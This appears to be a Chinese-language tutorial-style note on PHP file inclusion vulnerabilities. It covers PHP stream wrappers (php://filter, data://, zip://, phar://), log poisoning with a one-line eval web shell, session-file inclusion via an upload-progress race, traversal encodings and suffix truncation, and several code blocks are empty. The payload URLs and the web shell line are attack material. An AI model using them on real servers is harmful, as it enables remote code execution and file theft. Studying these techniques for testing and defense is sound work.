文件包含漏洞
PHP文件包含漏洞
php文件包含函数
1 | include() # 如果出错的话,只会提出警告,会继续执行后续语句 |
示例代码
1 |
|
LFI本地文件包含
RFI远程文件包含
相较于LFI本地文件包含漏洞其被包含的文件源不从磁盘上获取
php.ini中需要配置
1 | allow_url_fopen = On |
allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off
PHP伪协议
php:// 协议
php://input 用于执行php代码
allow_url_include = Onallow_url_fopen = ON/OFF
1 |
|

php://filter 用于读写源码
allow_url_include = On/OFFallow_url_fopen = ON/OFF
1 | ?file=php://filter/convert.base64-encode/resource=flag.php |
解码
1 | >>> import base64 |
写文件file_put_contents
1 | file_put_contents(urldecode($file),"<?php exit();".$content); |
$content在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了(这个过程在实战中十分常见,通常出现在缓存、配置文件等等地方,不允许用户直接访问的文件,都会被加上if(!defined(xxx))exit;之类的限制)
rot13偏移写入(PHP不开启short_open_tag短标签)
1 | php://filter/write=string.rot13/resource=rot.php |

urldecode()文件名编码两次

访问写入的文件

base64写入文件
1 | file_put_contents(urldecode($file), "<?php die();?>".$content); |

base64在解码的时候是将4个字节转化为3个字节,
phpdie6个字符我们就要添加2个字符让前面的可以进行编码

以下两种情况详见file_put_content和死亡·杂糅代码之缘
1 | file_put_contents($content,"<?php exit();".$content); |
其他编码
1 |
|
1 | payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php |
data:// 数据流封装器
协议格式:
data://:资源类型;编码,内容
当allow_url_include 打开的时候,任意文件包含就会成为任意命令执行
allow_url_fopen :onallow_url_include:on
php 版本大于等于 php5.2
1 |
|
利用方式:
1 | http://127.0.0.1/sec/test.php?a=data://text/plain,<?php system("ipconfig") ?> |
data://中//可省略
phar://
php版本大于等于php5.3.0
文件phpinfo.txt,打包成zip压缩包test.zip
1 | # 绝对路径 |
zip://
php 版本大于等于 php5.3.0+绝对路径
文件zipd.txt,打包成zip压缩包test.zip
1 | http://127.0.0.1/wahaha.php?a=zip://C:\Users\DropAnn\Desktop\test.zip%23zipd.txt |

包含日志文件
先插入(请求)后包含

<?=eval($_POST[6]);?>同理,注意UA中不解码

日志和配置文件默认存放路径
| 文件 | 路径 |
|---|---|
| apache+Linux日志默认路径 | /etc/httpd/logs/access_log或/var/log/httpd/access_log |
| apache+win2003日志默认路径 | D:\xampp\apache\logs\access.log以及D:\xampp\apache\logs\error.log |
| IIS6.0+win2003默认日志文件 | C:\WINDOWS\system32\Logfiles |
| IIS7.0+win2003 默认日志文件 | %SystemDrive%\inetpub\logs\LogFiles |
| nginx 日志文件 | 用户安装目录logs目录下(/usr/local/nginx/logs)/var/log/nginx/access.log |
| apache+linux 默认配置文件 | /etc/httpd/conf/httpd.conf或index.php?page=/etc/init.d/httpd |
| IIS6.0+win2003 配置文件 | C:/Windows/system32/inetsrv/metabase.xml |
| IIS7.0+WIN 配置文件 | C:\Windows\System32\inetsrv\config\applicationHost.config |
session包含
session存储过程

添加后会在默认目录下生成临时文件
/tmp/sess_aaa
session常见存储路径
/var/lib/php/sess_PHPSESSID/var/lib/php/sess_PHPSESSID/tmp/sess_PHPSESSID/tmp/sessions/sess_PHPSESSID
利用条件
知道session存储位置
代码中存在session_start()或者session.auto_start=On或session.auto_start = 1PHP在接收请求的时候会自动初始化Session,默认情况下,这个选项都是关闭的。
拥有读写session文件的权限
PHP_SESSION_UPLOAD_PRGRESS竞争条件
在php5.4后php.ini中添加
1 | 1. session.upload_progress.enabled = on |
enabled=on表示php将会把文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;默认配置
session.upload_progress.cleanup = on导致文件上传后,session文件内容立即清空,利用竞争条件,在session文件内容清空前进行包含利用。
测试环境为:php5.5.9
测试代码如下:
1 |
|
测试的时候用了phpstudy,其他情况参考session常见存储路径

payload
1 | import requests as re |
测试结果

利用session.upload_progress进行文件包含和反序列化渗透
绕过方式
指定前缀
1 |
|
目录遍历
同目录包含 file=.htaccess
目录遍历 ?file=../../../../../../../../../var/lib/locate.db
多次编码
利用url编码
../
- %2e%2e%2f
- ..%2f
- %2e%2e/
..\
- %2e%2e%5c
- ..%5c
- %2e%2e\
二次编码 %25对应的是%,%2e对应的是.,所以 .%252e/ 对应的是 ../
../
- %252e%252e%252f
..\
- %252e%252e%255c
容器/服务器的编码方式
../
..%c0%af
%c0%ae%c0%ae/
注:java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点)
Apache Tomcat Directory Traversal
..\
- ..%c1%9c
指定后缀
%00截断
magic_quotes_gpc=Off,而且php版本<5.3.4
1 |
|

长度截断
php版本 < php 5.2.8
目录字符串,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复./达到最大值后缀就会直接被抛弃
url格式
使用远程文件包含注意下面两个配置
1 | allow_url_fopen = On |
query(?)
1 | http://127.0.0.1/test/1.php?a=http://192.168.1.105/phpinfo.php? |

fragment(#)






